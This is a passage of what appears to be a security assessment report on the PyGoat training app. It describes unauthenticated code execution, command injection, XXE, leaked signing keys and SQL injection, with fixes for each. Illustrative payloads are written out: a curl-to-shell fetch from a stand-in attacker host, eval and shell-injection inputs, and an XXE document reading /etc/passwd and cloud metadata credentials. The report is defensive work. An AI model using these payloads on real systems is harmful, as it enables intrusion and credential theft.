

Application Security Assessment

Target: PyGoat — open-source deliberately-insecure Django training application

Repository: <https://github.com/adeyosemanputra/pygoat>

Commit assessed: 19d17cc8874861142b330636d068bbde54e86b85

Assessment type: Full Assessment — static code review and dependency composition analysis

Assessment window: 18 September 2026

Report date: 18 September 2026

Assessor: Aryan Verma — aryanverma102007@gmail.com

Methodology: Automated detection with manual triage

Tooling: `secscan` 1.0.0 — four scanners, 17 static rules, OSV.dev advisory data

Report version: 1.0 — final

Why this target

This is a sample report. It is not a redacted client engagement, and no client is being anonymised here.

The target is PyGoat, a public open-source application built deliberately to contain vulnerabilities for training purposes. It was chosen for three reasons: it is a real Django codebase of realistic size rather than a synthetic test fixture; its dependency set is genuinely outdated in the way real projects are; and because it is public, every finding below can be independently verified by anyone reading this against the commit named above.

A real engagement report is structurally identical to this one. The difference is that the target is your application, the report is confidential to you, and the findings are not already public knowledge.

Limitations of this assessment

This assessment covered application source code and declared dependencies at one commit. It examined 4 dependency manifests and the Python, JavaScript and shell sources in the repository.

The dynamic testing layer was **not executed**. The reason is stated plainly in section 3 rather than omitted: the application's pinned dependency set could not be installed in the environment available for this assessment, so no running instance existed to test against. Whole categories of defect are therefore outside what this report can speak to — see section 3.2.

Automated analysis finds instances of patterns it has rules for. It does not find design flaws, broken authorisation logic, or business-logic abuse, and no static tool reasons reliably about whether a given code path is reachable from the internet. Reachability mattered to most of the findings below; where it did, it was established by reading the source and the URL configuration, and is stated as such.

This is not a penetration test. No exploitation was attempted against any running system. Findings described as exploitable are assessed from code, and the proof-of-concept requests shown are illustrations of the mechanism, not records of requests that were sent.

A clean result in any section of this report means "the checks listed in Appendix A found nothing." It does not mean the application is free of defects in that area.

2. Executive summary

PyGoat's source code gives someone with no account and no credentials four separate ways to take control of the server that hosts it. Each is reachable over the public web at a known address, and each takes one or two ordinary web requests. These are findings F-01 through F-04, and they are why this report leads with them.

The most serious is not a conventional flaw. Two endpoints accept a block of text from any anonymous visitor and write it over the application's own program files (F-01), which the application loads when it starts — so what an attacker writes becomes part of the application. Two things make that worse than the usual case: it survives a restart, so rebooting does not clear it; and text that is not valid program code stops the application starting at all, a shutdown anyone on the internet can trigger and only a restore can undo.

The other three are familiar in shape. One endpoint hands a visitor's input straight to the language interpreter (F-02). One builds a system command by gluing a visitor's input onto the end of it (F-03). One parses uploaded documents with a setting that lets those documents reference files on the server, so an attacker sends a document and receives the contents of any file the application can read, including its own configuration (F-04).

A pattern runs through two of these, and it is the most useful thing in this report. In F-01 and F-02 the developer wrote a login check for the endpoint and then commented it out — the protection sits in the file, one character from working, directly above the vulnerable code. That is the common shape of a serious flaw in real applications: not an exotic bug, but a control switched off during development and never switched back on. It is also the cheapest item here to act on. Restoring those checks, and adding them to the two endpoints that never had any, takes three of these four findings out of anonymous reach within the hour.

Separately, the application keeps its cryptographic signing keys in files committed to version control and runs with diagnostic mode on (F-05). Anyone who can read the repository can use those keys to create a valid login session for any account, including an administrator, without knowing a password. Because the keys are in the version history, changing them is not enough on its own — they must be treated as already known to others.

Five further findings give a user who holds an account the ability to execute code or extract the entire database (F-06 to F-09), a distinction thinner than it looks because this application lets anyone register and logs them in immediately. The dependency set is separately poor but cheap to fix: eleven outdated packages account for 117 advisories, and one coordinated upgrade removes roughly two-thirds of the total finding count in about a day (F-10).

Recommended order. Restore the login checks today. Then fix F-01 to F-04 properly, and treat the signing keys as compromised and replace them. Then take the dependency upgrade as one scheduled piece of work. The rest are real and should be fixed, but none is a reason to delay a release on its own.

One caveat on scope: the dynamic testing layer was not run, so nothing here covers transport encryption, browser security headers, cookie settings, or the live behaviour of any finding above. Section 3.2 is specific about what that leaves out.

3. Scope and methodology

3.1 What was tested

Repository	<code>https://github.com/adeyosemanputra/pygoat</code>
Commit	<code>19d17cc8874861142b330636d068bbde54e86b85</code>
Commit date	28 March 2026
Languages analysed	Python, JavaScript, shell
Dependency manifests read	4 — <code>requirements.txt</code> plus 3 under <code>dockerized_labs/</code>
Dependencies declared	44, all pinned to an exact version
Running instance tested	None

Source code was analysed statically: files were read and pattern-matched, and nothing in the repository was executed. Declared dependencies were resolved to exact pinned versions and each was queried against the OSV.dev advisory database. All of this is passive with respect to the application — there is no traffic to it and no change of state in it.

Reachability was established by hand for every finding in section 5. That meant reading `pygoat/urls.py` and `introduction/urls.py` to confirm a route exists, reading the view to determine whether an authentication check is applied, and reading `pygoat/settings.py:55-64` to confirm there is no global authentication middleware that would compensate for a missing per-view check. There is not — the stack is Django's default set plus WhiteNoise for static files. Django's `AuthenticationMiddleware` is present, but it only populates `request.user`; it does not require a session. The application's only mechanism for *enforcing* authentication is a hand-written decorator at `introduction/views.py:76` that must be applied to each view individually.

3.2 What was not tested

This section is deliberately specific. Vague scope statements let a report imply coverage it does not have.

The dynamic layer was not executed. `secscan` includes a dynamic testing layer — approximately 18 passive HTTP checks plus 3 active injection probes — and none of it ran. The application pins dependencies (`Pillow==9.4.0`, `cryptography==39.0.1`, `psycpg2==2.9.3`) that have no binary distributions for the Python version available in the assessment environment, and container tooling was not available as an alternative. No running instance could be stood up, so there was nothing to test against. Rather than substitute a different build of the application and describe the result as if it were this one, the layer is reported as not executed.

The concrete consequence is that this report says nothing about: TLS configuration and certificate validity; HTTP security response headers (Content-Security-Policy, HSTS, X-Frame-Options and similar); session cookie flags as actually set at runtime (`HttpOnly`, `Secure`, `SameSite`); exposed files or directories on the deployed host; server and framework version disclosure; open redirects; or the runtime confirmation of any injection finding below. In a paid engagement this gap would be closed before the report issued, either by testing a staging instance under written authorisation or by the client supplying a working build.

Dependency analysis covers the PyPI and npm ecosystems only. Dependencies declared in other ecosystems were not examined. No Composer, Go module, Bundler, Maven, Gradle, Cargo or NuGet manifests were present in this repository, so nothing was missed here in practice — but the boundary applies regardless of target.

Only exactly-pinned dependencies are checked. A dependency declared as a range (`>=2.0`) cannot be matched against advisory data, because the version that will actually be installed is not knowable from the file. Every dependency in this target is pinned with `==`, so all 44 were checked and none was skipped. Where a target does use ranges, the unchecked dependencies are reported explicitly rather than passed over in silence.

Transitive dependencies were not enumerated. Only packages declared in the manifests were analysed. A vulnerability reachable only through a dependency of a dependency would not appear here.

Static analysis is limited to the rules in Appendix A. Appendix A lists every check that ran and, importantly, names the classes of defect that are *not* in the check set — including several that were found in this target by manual review after the automated pass came back clean on them.

No authenticated crawl, no systematic authorisation testing, no business logic review. Two access-control defects were noticed while reading code and are recorded in Appendix C, but authorisation was not tested systematically. Doing so requires a running instance and multiple accounts.

3.3 Method

Detection was automated; everything that reached this report was reviewed by hand. The automated pass produced **190 raw findings**. The report details **10**. Five of those ten do not appear in the automated output at all. That gap in both directions is the substance of the assessment, and section 6 sets it out in full. In summary:

1. **False positives were removed, not reclassified.** Seven raw findings were confirmed to be pattern matches on code that cannot execute — three inside comments or string literals, three on test fixture data, one on a shell construct that is not a credential. Appendix C.1 gives the reason for each. 2. **Duplicates were merged into actions.** Nineteen separate Pillow advisories are not nineteen findings; they are one upgrade. Two `eval()` sinks with the same remediation are one finding, not two. The report is organised around the change the developer has to make. 3. **Severities were re-ranked against this application's actual configuration.** Where a published score did not survive contact with how this application is deployed, it was overridden and the reasoning recorded. Section 6.2 gives a worked example: a CRITICAL downgraded because it applies only to a database engine this application does not use. 4. **Code was read for what the tool could not see.** Whether an endpoint is authenticated, whether a route exists, whether an upgrade actually fixes the underlying problem, and whether a dangerous function is reachable at all were determined by reading the source. Five of the ten findings below — including the highest-severity one — were found this way.

3.4 Severity

Severity is assigned per finding in this application's context and is not a transcription of CVSS. The rating answers "what can an attacker do here, in this deployment, and what do they need first?"

Severity	Meaning in this report
CRITICAL	Server compromise or total data loss, reachable with no credentials at all.
HIGH	Server compromise or broad data access, reachable by any account holder.
MEDIUM	Meaningful exposure, or a step that makes another attack practical.
LOW	Real defect, limited direct impact. Fix on normal schedule.

One qualification on the CRITICAL/HIGH boundary, which matters for how you read section

4. That boundary is "does the attacker need an account?" On this target that is a weak boundary:

`pygoat/urls.py:26` routes open self-service registration, and `introduction/views.py:51` calls `login()` immediately on a valid form, with no email verification and no approval step. Anyone can hold an account one request after deciding to. So the practical distance between a CRITICAL and a HIGH here is one HTTP request, and the HIGH findings should be read as "almost as urgent," not as "can wait."

The boundary is kept because it still drives the right order of work: the CRITICAL findings cannot be mitigated by changing who may register, and the HIGH ones partly can. On an application with gated registration — most business applications — the HIGH findings would genuinely rank lower and the CRITICAL ones would not move.

Where this report's severity differs from the published score for the same issue, section 6 explains the difference.

4. Findings summary

ID	Finding	Severity	Affected component	Status
F-01	Unauthenticated write to the application's own program files	CRITICAL	introduction/apis.py:126, :61	Open
F-02	Unauthenticated remote code execution via <code>eval()</code>	CRITICAL	introduction/mitre.py:218, introduction/views.py:460	Open
F-03	Unauthenticated OS command injection	CRITICAL	introduction/mitre.py:241, introduction/views.py:432	Open
F-04	Unauthenticated file read and internal network access via XML external entities	CRITICAL	introduction/views.py:259	Open
F-05	Signing keys and diagnostic mode committed to version control	HIGH	pygoat/settings.py:25, :30, :171	Open
F-06	SQL injection in two endpoints, with the failing query returned to the user	HIGH	introduction/views.py:158, :864	Open
F-07	Remote code execution via unsafe YAML deserialisation — upgrading does not fix it	HIGH	introduction/views.py:560	Open
F-08	Remote code execution via <code>pickle</code> on an attacker-controlled cookie	HIGH	introduction/views.py:214	Open
F-09	Reachable code-execution flaw in Pillow — the application calls the affected function	HIGH	pillow==9.4.0 + introduction/views.py:588	Open
F-10	Eleven outdated dependencies (117 advisories) and two unused ones (10 advisories)	HIGH	requirements.txt	Open

All findings are open. No remediation had been applied at the time of assessment, and no re-test has occurred.

Five of these ten — F-01, F-04, F-05, F-06 and the code path in F-09 — are absent from the automated output entirely and were found by reading source. Section 6.7 explains why, and Appendix A records the gaps so they are not repeated.

A further 57 raw findings were reviewed and are not detailed here, along with four additional issues found by manual review that rank below the ten above. All are itemised in Appendix C with their disposition.

5. Detailed findings

F-01 — Unauthenticated write to the application's own program files

Severity: CRITICAL. An anonymous attacker replaces the contents of Python modules that the application imports at startup. No account, no session, no token. This is ranked first, above the three other unauthenticated code-execution findings, for two reasons specific to it: the change persists across restarts, so rebooting does not clear it; and an attacker who writes invalid text causes a startup failure that cannot be recovered without restoring the file, which is a permanent denial of service available to anyone on the internet.

Locations:

Endpoint	Route	View	Writes to	Auth
POST /2021/discussion/A6/api2	introduction/urls.py:89	apis.py:126	playground/A6/utility.py	None at all
POST /2021/discussion/A9/api	introduction/urls.py:83	apis.py:61	playground/A9/main.py, playground/A9/api.py	Commented out, line 60

```
# introduction/apis.py
125 @csrf_exempt
126 def A6_discussion_api_2(request):
127     if request.method != 'POST':
128         return JsonResponse({"message":"method not allowed"},status = 405)
129     try:
130         code = request.POST.get('code')
131         dirname = os.path.dirname(__file__)
132         filename = os.path.join(dirname, "playground/A6/utility.py")
133         f = open(filename,"w")
134         f.write(code)
```

The `code` form field is written verbatim to a `.py` file inside the application's own package, opened in `"w"` mode so the existing contents are discarded. There is no authentication decorator on the view, `@csrf_exempt` removes the token requirement, and there is no validation of `code` — not a length limit, not a character restriction, nothing.

The written files are not inert. `apis.py:9` is from `introduction.playground.A6.utility import check_vuln`, and `apis.py:10` is from `introduction.playground.A9.main import Log`; `introduction/urls.py:3` is from `introduction.playground.A9.api import log_function_target`. All three targets are imported by modules Django loads to build the URL configuration. An anonymous request therefore rewrites code that the application executes on startup.

The second endpoint shows the same pattern as F-02: `apis.py:60` is `# @authentication_decorator`, commented out directly above the function.

Attacker impact. One request replaces an imported module:

```
POST /2021/discussion/A6/api2
code=import os; os.system("curl http://attacker/x.sh | sh")
```

When the module is next imported, that runs. Timing depends on how the application is served, and both paths are bad:

- Served with `gunicorn --workers 6` and no `--reload` (`Dockerfile:33`,

`Procfile:1`, `docker-compose.yml:4`), the code runs at the next worker restart — a deploy, a crash, a scale event, or a worker recycle. The attacker waits; they do not need to do anything further.

- Served with `manage.py runserver`, which is the path the project's own

documentation describes, Django's file-change reloader picks the file up and runs it within seconds.

Either way the outcome is code execution as the application user, with the same consequences as F-02. Two properties make it worse. `docker-compose.yml:7-8` bind-mounts the source tree into the container (`- ./app`), so the write lands on the host filesystem and survives rebuilding the container. And writing anything that is not valid Python — a single unbalanced bracket — guarantees an `ImportError` at startup, taking the application permanently offline until someone restores the file from version control. An attacker who wants the site down rather than compromised needs one request and no skill.

Remediation. An endpoint that writes attacker-supplied text into the application's source tree has no safe configuration. Remove the file-write behaviour entirely from both views. If these exist to let a user try out code samples — which the surrounding lab context suggests — the sample must be held in a database row or a session value and executed, if at all, in an isolated sandbox process with no filesystem write access to the application directory. Never on a path that the application imports.

Then apply the three access-control changes that should be present regardless: remove `@csrf_exempt`, restore `@authentication_decorator` on `apis.py:60` as a real decorator, and add one to `A6_discussion_api_2`, which has never had one.

As a containment step that can ship immediately, add authentication to both views and make the application directory read-only at runtime — a container built with a non-root user that does not own `/app` cannot perform this write at all, which also removes the bind-mount persistence.

Note one incidental detail that makes this finding easier to miss than it should be: `apis.py` never imports `os` directly. `os.path` resolves because `apis.py:13` is from `.utility import *` and `introduction/utility.py:2` is `import os`, with no `__all__` to restrict what the star import re-exports. The write works, but a reader scanning the import block would reasonably conclude it could not.

References

- CWE-434: Unrestricted Upload of File with Dangerous Type — <https://cwe.mitre.org/data/definitions/434.html>
- OWASP, *File Upload Cheat Sheet* — https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html

F-02 — Unauthenticated remote code execution via `eval()`

Severity: CRITICAL. For the first of the two locations, an attacker needs nothing — no account, no session, no CSRF token, no prior access. One HTTP request to a URL in the application's public routing table executes Python of the attacker's choosing inside the application process, and returns the result.

Locations:

Route	View	Auth
POST /mitre/25/lab/api (introduction/urls.py:119)	mitre.py:218	Commented out, line 213
POST /cmd_lab2	views.py:460	is_authenticated check present

Reported as one finding because the remediation is identical at both sites.

```
# introduction/mitre.py
213 # @authentication_decorator
214 @csrf_exempt
215 def mitre_lab_25_api(request):
216     if request.method == "POST":
217         expression = request.POST.get('expression')
218         result = eval(expression)
219         return JsonResponse({'result': result})
```

The view takes the `expression` form field and passes it to `eval()`, which compiles and runs its argument as Python. Whatever the attacker sends executes with the privileges of the application process, and its result is returned to them in the response body.

Line 213 is the part worth pausing on. An authentication decorator was written for this endpoint and is commented out. The function it names exists and works — `authentication_decorator` at `introduction/views.py:76` redirects unauthenticated requests to the login page, and twenty-five other views in this same file use it, including `mitre_lab_25` at line 224, the page that calls this API. This endpoint is unprotected because a control was disabled and left that way, not because one was never written.

Attacker impact. A single request returns the output of any command the application's user can run:

```
POST /mitre/25/lab/api
expression=__import__('os').popen('id').read()
```

`eval()` accepts only expressions, not statements, which sounds like a restriction and is not: `__import__()` is an expression, so the full standard library is reachable in one line. From that position an attacker reads `pygoat/settings.py` and obtains the signing keys and database configuration (see F-05); reads and modifies every row in the database; reads any cloud instance-metadata endpoint reachable from the host to obtain infrastructure credentials; and opens outbound connections from inside the network perimeter. There is no meaningful boundary left between "can reach this endpoint" and "controls this server."

Note also that even a payload which crashes the response still wins. If the result is not JSON-serialisable, `JsonResponse` raises — but `eval()` has already run by then, and with diagnostic mode enabled (F-05) the resulting error page hands the attacker a stack trace with local variables as a bonus.

Remediation. `eval()` has no safe form when its input comes from a request. Input filtering does not fix it — denylists of `__import__`, `os` and dunder names are routinely bypassed through object-graph traversal such as `().__class__.__bases__[0].__subclasses__()`, and passing restricted `globals` or `__builtins__` is not a sandbox either. Remove the call.

If the endpoint exists to evaluate arithmetic, parse the input and walk the syntax tree with an explicit allowlist, so that the set of reachable operations is bounded by construction rather than by filtering:

```

import ast, operator

 OPS = {ast.Add: operator.add, ast.Sub: operator.sub,
        ast.Mult: operator.mul, ast.Div: operator.truediv,
        ast.USub: operator.neg}

def safe_arith(node):
    if isinstance(node, ast.Constant) and isinstance(node.value, (int, float)):
        return node.value
    if isinstance(node, ast.BinOp) and type(node.op) in OPS:
        return OPS[type(node.op)](safe_arith(node.left), safe_arith(node.right))
    if isinstance(node, ast.UnaryOp) and type(node.op) in OPS:
        return OPS[type(node.op)](safe_arith(node.operand))
    raise ValueError("unsupported expression")

result = safe_arith(ast.parse(expression, mode="eval").body)

```

`ast.literal_eval()` is a shorter option if only literals are needed. Note that the allowlist above deliberately excludes `ast.Pow`, because `999` is valid arithmetic that will consume the worker. Cap input length as well.

If the endpoint is not needed, delete the view and its route.

Restoring `@authentication_decorator` on line 213 reduces the exposed population from *anyone on the internet* to *anyone with an account*, and should be done immediately as containment. It is not the fix — as section 3.4 notes, anyone can obtain an account here in one request, and the second location in this finding is already behind that check and still rated as part of a CRITICAL.

References

- CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code — <https://cwe.mitre.org/data/definitions/95.html>
- Python documentation, `ast.literal_eval` — https://docs.python.org/3/library/ast.html#ast.literal_eval

F-03 — Unauthenticated OS command injection

Severity: CRITICAL. As with F-02, the first location requires no credentials and is publicly routed. This one drops the attacker into a system shell rather than into the Python process, which in practice is the more convenient of the two.

Locations:

Route	View	Auth
POST <code>/mitre/17/lab/api</code> (<code>introduction/urls.py:122</code>)	<code>mitre.py:241</code> , executing via <code>mitre.py:233</code>	None at all
POST <code>/cmd_lab</code>	<code>views.py:432</code>	<code>is_authenticated</code> check present

```
# introduction/mitre.py
232 def command_out(command):
233     process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
234     return process.communicate()

237 @csrf_exempt
238 def mitre_lab_17_api(request):
239     if request.method == "POST":
240         ip = request.POST.get('ip')
241         command = "nmap " + ip
242         res, err = command_out(command)
```

The `ip` form field is concatenated into a command string and handed to `subprocess.Popen` with `shell=True`. That flag means the string is interpreted by the system shell, so shell metacharacters in the attacker's input are metacharacters, not data. There is no validation of `ip` anywhere in the request path. This view carries no authentication decorator at all — not a commented-out one, as in F-01 and F-02, but none.

The second location, `cmd_lab` at `views.py:432`, is behind an authentication check and deserves a note of its own, because it contains a filter that looks protective and is not:

```
418 domain = request.POST.get('domain')
420 domain = re.sub(r'^(?:https?|ftp://)?(?:www\.)?', '', domain, flags=re.IGNORECASE)
424 command = "nslookup {}".format(domain) # when os == 'win'
426 command = "dig {}".format(domain) # otherwise
430 process = subprocess.Popen(command, shell=True, ...)
```

Line 420 strips leading `http://`, `https://`, `ftp://` and `www.` — protocol prefixes. It does not touch `;`, `|`, `&`, backticks or `$(`, which are the characters that matter once the result reaches a shell. A filter that removes the wrong character class is more dangerous than no filter, because it creates the impression that input is being sanitised. `example.com; id` passes through line 420 unchanged.

Attacker impact. Semicolons, pipes, backticks and `$(...)` all reach the shell:

```
POST /mitre/17/lab/api
ip=127.0.0.1; id; cat /etc/passwd
```

The shell runs `nmap 127.0.0.1`, then `id`, then `cat /etc/passwd`, and the view returns the combined output to the attacker in the `raw_res` field of its JSON response. The impact matches F-02 and is slightly worse in practice: the attacker has a shell rather than a Python interpreter, and the response echoes command output back directly, so no second channel is needed.

Remediation. Pass arguments as a list and drop `shell=True`, which removes shell interpretation entirely:

```
process = subprocess.Popen(["nmap", ip], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
```

Then validate the input positively rather than by stripping characters from it: `ipaddress.ip_address(ip)` raises on anything that is not a valid address, and `re.fullmatch(r'[a-zA-Z0-9.-]+', domain)` with a reject-on-mismatch is the right shape for `cmd_lab` — an allowlist, not a denylist. Apply `@authentication_decorator` to `mitre_lab_17_api`.

Two further notes. `command_out` at line 233 is shared, so changing its signature requires updating every caller, and every caller should be checked for the same pattern. And in `cmd_lab`, the `os` parameter at line 421 selects which command runs and comes from the request; it should be derived server-side, not chosen by the client.

Note how this finding was reached. The automated pass flagged line 233, the helper, because that is where `shell=True` appears. Line 233 on its own is not a vulnerability — it is a function that runs whatever string it is given. Establishing that a publicly routed, unauthenticated view builds that string from an unvalidated request parameter required reading the callers. The tool correctly pointed at a mechanism; the finding is the path.

References

- CWE-78: Improper Neutralization of Special Elements used in an OS Command — <https://cwe.mitre.org/data/definitions/78.html>
- Python documentation, *Security Considerations* for `subprocess` — <https://docs.python.org/3/library/subprocess.html#security-considerations>

F-04 — Unauthenticated file read and internal network access via XML external entities

Severity: CRITICAL. No credentials required, and the dangerous behaviour is not a default that was left unchanged — it is a parser feature the code explicitly switches on. An anonymous attacker reads any file the application process can read, and makes the server issue requests to addresses only it can reach.

Location: `introduction/views.py:259`

Route: `POST /xxe_parse (introduction/urls.py:23)`

```
255 @csrf_exempt
256 def xxe_parse(request):
257
258     parser = make_parser()
259     parser.setFeature(feature_external_ges, True)
260     doc = parseString(request.body.decode('utf-8'), parser=parser)
261     ...
268     p=comments.objects.filter(id=1).update(comment=text)
```

`feature_external_ges` is *external general entities*. Setting it to `True` tells the XML parser to resolve `<!ENTITY ... SYSTEM "...">` declarations by fetching whatever the identifier points at — a local file path or a URL — and substituting the contents into the document. Python's `xml.sax` parsers have this disabled by default; line 259 turns it on.

The view has no authentication check. The two neighbouring views in the same file do: `xxe_lab` at line 234 and `xxe_see` at line 241 both gate on `request.user.is_authenticated` and redirect to login otherwise. This one does not, and it is `@csrf_exempt`, so it accepts a bare cross-origin POST. Line 268 then writes the parsed result into a database row that the lab page displays, which means the attacker does not even need the response body — the extracted content is persisted and rendered back.

Attacker impact. The attacker posts a document declaring an entity that points at a local file:

```
<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]>
<text>&x;</text>
```

The parser reads the file and substitutes it, and the contents land in the `comments` row. Substituting `file:///app/pygoat/settings.py` retrieves the signing keys and database configuration directly (see F-05); on a containerised host, `file:///proc/self/environ` retrieves the process environment, which is where

credentials usually live.

Because the identifier may be a URL rather than a file path, the same request turns the server into a proxy into its own network: `http://169.254.169.254/latest/meta-data/iam/security-credentials/` returns cloud instance credentials on AWS, and equivalents exist on other providers. That converts a web-application flaw into infrastructure access. Internal services with no authentication of their own — metrics endpoints, admin panels bound to localhost, databases with a HTTP interface — become reachable from the internet through this one endpoint.

Remediation. Turn the feature off. The direct fix is to delete line 259, or set the feature to `False` explicitly along with external parameter entities:

```
from xml.sax.handler import feature_external_ges, feature_external_pes

parser = make_parser()
parser.setFeature(feature_external_ges, False)
parser.setFeature(feature_external_pes, False)
```

Better, replace the parser with `defusedxml`, which is a drop-in wrapper over the standard library's XML modules with entity resolution and the related denial-of-service vectors disabled by default: `from defusedxml.sax import make_parser`. That is one dependency and one import change, and it makes the safe configuration the one you get by accident rather than the one you have to remember.

Add `@authentication_decorator` to the view to match its two neighbours, and remove `@csrf_exempt`. If the endpoint does not need to accept arbitrary attacker-supplied XML at all, validate against a schema first.

References

- CWE-611: Improper Restriction of XML External Entity Reference — <https://cwe.mitre.org/data/definitions/611.html>
- OWASP, *XML External Entity Prevention Cheat Sheet* — https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html

F-05 — Signing keys and diagnostic mode committed to version control

Severity: HIGH. The keys are not merely present in a file on a server; they are in the git history of a public repository, so they must be assumed known to anyone who has ever cloned it. With the main one, an attacker forges a login session for any account — including an administrator — without needing that account's password and without triggering an authentication failure anywhere. It is rated HIGH rather than CRITICAL only because exploitation requires the attacker to have obtained the repository contents. In this target, where the repository is public, that is not much of a barrier.

Locations:

File and line	Value	Used for
pygoat/settings.py:25	SECRET_KEY = 'lr66%-a!\$km5...' (50 chars, masked here)	Session cookies, password-reset tokens, all django.core.signing output
pygoat/settings.py:171	SECRET_COOKIE_KEY = "PYGOAT"	Application cookie signing
introduction/mitre.py:169, :182, :194	jwt.encode(payload, 'csrf_vulnerability', algorithm='HS256')	Authentication token signing
pygoat/settings.py:30	DEBUG = True	Diagnostic error pages

Django uses SECRET_KEY to sign session cookies, password-reset tokens and django.core.signing payloads. Knowledge of it converts "I have no account" into "I am whoever I choose to be." The other two are the same defect at smaller scale: a literal HMAC key in application code, which cannot be rotated without a code deploy and which is readable by anyone with repository access.

DEBUG = True is the setting the application ships and serves with — Dockerfile:33 and Procfile:1 both run gunicorn against these settings.

Attacker impact. With SECRET_KEY, an attacker constructs a signed session cookie asserting _auth_user_id = 1, presents it, and is logged in as the first user created — conventionally the administrator. Django accepts it because the signature is valid. No password is involved, no failed-login metric moves, and nothing in the application's logs distinguishes this from a legitimate session. The same key signs password-reset tokens, so an attacker can also mint a valid reset link for any address.

With DEBUG = True, Django returns its technical error page on any unhandled exception — traceback, local variable values at each stack frame, installed applications, request metadata, and the settings dictionary. In this application that does not even require finding a bug, because there is a route that guarantees one:

```
# introduction/views.py — routed at introduction/urls.py:34 as /500error
403 def error(request):
404     return
```

The view returns None, which Django rejects with ValueError: The view didn't return an HttpResponse object. There is no authentication check. GET /500error therefore hands any anonymous caller a full diagnostic page on demand — a reliable, one-request configuration disclosure.

Remediation. Read the values from the environment, with no fallback default in the file so that a missing variable fails loudly at startup rather than silently using a known key:

```
import os
SECRET_KEY = os.environ["DJANGO_SECRET_KEY"] # raises at startup if unset
DEBUG = os.environ.get("DJANGO_DEBUG", "") == "1"
```

Apply the same treatment to SECRET_COOKIE_KEY and to the JWT key in mitre.py.

Then **generate a new SECRET_KEY** — the committed one is burned, and rotating it is not optional:

```
python -c "from django.core.management.utils import get_random_secret_key;
print(get_random_secret_key())"
```

Rotation invalidates all existing sessions and any password-reset links in flight. Users will be logged out, which is the correct outcome. Note that removing a key from the current file does not remove it from git history — it remains readable at the commit that introduced it, so treating it as rotated-and-dead is the only reliable remedy.

Delete the `/500error` route and the `error` view, or make the view return a real response. Set `DEBUG = False` for every deployment that is not a developer's laptop, and confirm before release with `python manage.py check --deploy`, which reports both of these settings along with several related ones.

Two related items found alongside these, recorded here because they are part of the same exposure and fixed in the same pass. `ALLOWED_HOSTS` at `pygoat/settings.py:32` contains `'0.0.0.0.'` with a trailing dot, which will never match any host — a typo that becomes a production outage the moment `DEBUG` is set to `False`, since `ALLOWED_HOSTS` is only enforced when `DEBUG` is off. Fix it in the same change, or the correct security fix will look like it broke the site. Separately, there is no `.dockerignore` at the repository root while `Dockerfile:24` is `COPY . /app/`, so the built image contains the entire `.git` directory — every secret ever committed and later "removed" ships inside the production image, which is the most common way a rotated-in-the-file key stays live in practice.

These findings are not in the automated output. The check set includes a rule for hardcoded credentials, and it did not match line 25. Its keyword list covers `secret`, `password`, `token`, `api_key` and similar, but not the compound `SECRET_KEY`: after matching `secret` the pattern requires an assignment operator and instead encounters `_KEY`. There is no rule for framework debug settings at all. Both gaps are recorded in Appendix A.

References

- Django documentation, *Deployment checklist* — <https://docs.djangoproject.com/en/4.2/howto/deployment/checklist/>
- CWE-798: Use of Hard-coded Credentials — <https://cwe.mitre.org/data/definitions/798.html>

F-06 — SQL injection in two endpoints, with the failing query returned to the user

Severity: HIGH. Both affected views require an authenticated session, which is what keeps this below CRITICAL — with the qualification in section 3.4 that an account costs one registration request here. Once past that, the impact is unrestricted read access to the database, and the application makes extraction materially easier by returning the failing SQL statement to the user.

Location: `introduction/views.py:158` (executed at `:162`) and `introduction/views.py:864` (executed at `:878`)

```
# introduction/views.py - sql_lab
158 sql_query = "SELECT * FROM introduction_login WHERE user='"+name+"' AND password='"+password+"'"
162 user = login.objects.raw(sql_query)
...
170 return render(request, 'Lab/SQL/sql_lab.html', {"sql_error": sql_query, ...})
```

User input is concatenated directly into a SQL string and executed through `.objects.raw()`. Django's ORM parameterises queries safely, but `.raw()` accepts whatever string it is given — using it with concatenation opts out of the protection the framework provides. The same pattern appears independently at line 864 in `injection_sql_lab`.

Line 170 compounds it. On error the view passes the failing query back into the template as `sql_error`, so the attacker sees the exact statement their input produced. That converts blind extraction into a guided process: each malformed attempt returns the syntax needed to correct it.

Attacker impact. Submitting `' OR '1'='1' --` as the username makes the `WHERE` clause unconditionally true, returning every row of `introduction_login`, including stored password values. A `UNION SELECT` reads any other table in the schema — `auth_user`, session data, anything the application's database user can see. Because `.raw()` executes a full statement, the query is not confined to the table the developer had in mind. With the error text from line 170 there is no guesswork: the attacker sees their payload's effect on the statement and iterates against it directly, which turns an afternoon of blind probing into a few minutes.

Remediation. Pass parameters rather than interpolating them. `.objects.raw()` supports placeholders, so the fix does not require rewriting the query:

```
user = login.objects.raw(
    "SELECT * FROM introduction_login WHERE user=%s AND password=%s",
    [name, password],
)
```

The database driver then binds the values as data, and they cannot alter the statement's structure. Apply the same change at line 864. Separately, remove `sql_error` from the template context at line 170 — application errors belong in a log, not a response body. Better still, replace both queries with ordinary ORM calls (`login.objects.filter(user=name)`), which are parameterised by default; `.raw()` should be reserved for queries the ORM genuinely cannot express.

This finding is not in the automated output. The check set has no rule for SQL built by string concatenation — see Appendix A. It was found by reading the views.

References

- CWE-89: SQL Injection — <https://cwe.mitre.org/data/definitions/89.html>
- Django documentation, *Performing raw SQL queries* — <https://docs.djangoproject.com/en/4.2/topics/db/sql/#passing-parameters-into-raw>

F-07 — Remote code execution via unsafe YAML deserialisation, which upgrading does not fix

Severity: HIGH. Requires an authenticated session and a file upload. It is placed above the remaining code-execution findings because of the trap described below: the obvious remediation — upgrade the library, as an automated dependency tool would advise — closes three advisories and leaves the application fully exploitable.

Location: `introduction/views.py:560`

Route: `POST /a9_lab, @csrf_exempt`, authenticated

Related dependency: `pyyaml==5.1` (`requirements.txt:27`)

```
558 file = request.FILES["file"]
560 data = yaml.load(file, yaml.Loader)
```

PyYAML's `yaml.Loader` supports tags that construct arbitrary Python objects, including tags that call arbitrary functions during parsing. Loading an attacker-supplied document with it executes code before any application logic sees the result.

The dependency layer separately reports three CRITICAL advisories against `pyyaml==5.1`: CVE-2019-20477, CVE-2020-1747 and CVE-2020-14343. Those three all describe the same category of problem — ways to achieve execution through loaders that were *supposed* to be safe, principally `FullLoader` and the unspecified default. They were fixed by tightening those loaders.

